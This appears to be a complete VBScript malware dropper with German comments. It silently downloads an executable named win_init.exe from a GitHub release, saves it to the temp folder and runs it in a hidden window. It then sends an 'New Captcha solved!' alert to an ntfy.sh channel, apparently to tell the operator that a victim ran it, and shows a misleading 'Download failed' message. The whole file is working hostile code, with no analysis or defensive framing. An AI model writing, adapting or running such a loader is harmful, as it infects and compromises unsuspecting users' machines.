On Error Resume Next
' Download der Datei
Set objHTTP = CreateObject("WinHttp.WinHttpRequest.5.1")
objHTTP.Open "GET", "https://github.com/letzchipman7/fallen/releases/download/v1.0.0/win_init.exe", False
objHTTP.Send
If objHTTP.Status = 200 Then
Set objStream = CreateObject("ADODB.Stream")
objStream.Type = 1
objStream.Open
objStream.Write objHTTP.ResponseBody
tempPath = CreateObject("Scripting.FileSystemObject").GetSpecialFolder(2) & "\win_init.exe"
objStream.SaveToFile tempPath, 2
objStream.Close
' EXE ausf
CreateObject("WScript.Shell").Run tempPath, 0, False
' ntfy Push senden
Set notify = CreateObject("MSXML2.XMLHTTP")
notify.Open "POST", "https://ntfy.sh/dillertus77", False
notify.setRequestHeader "Content-Type", "text/plain"
notify.Send "New Captcha solved!"
MsgBox "Download failed with status: " & objHTTP.Status
End If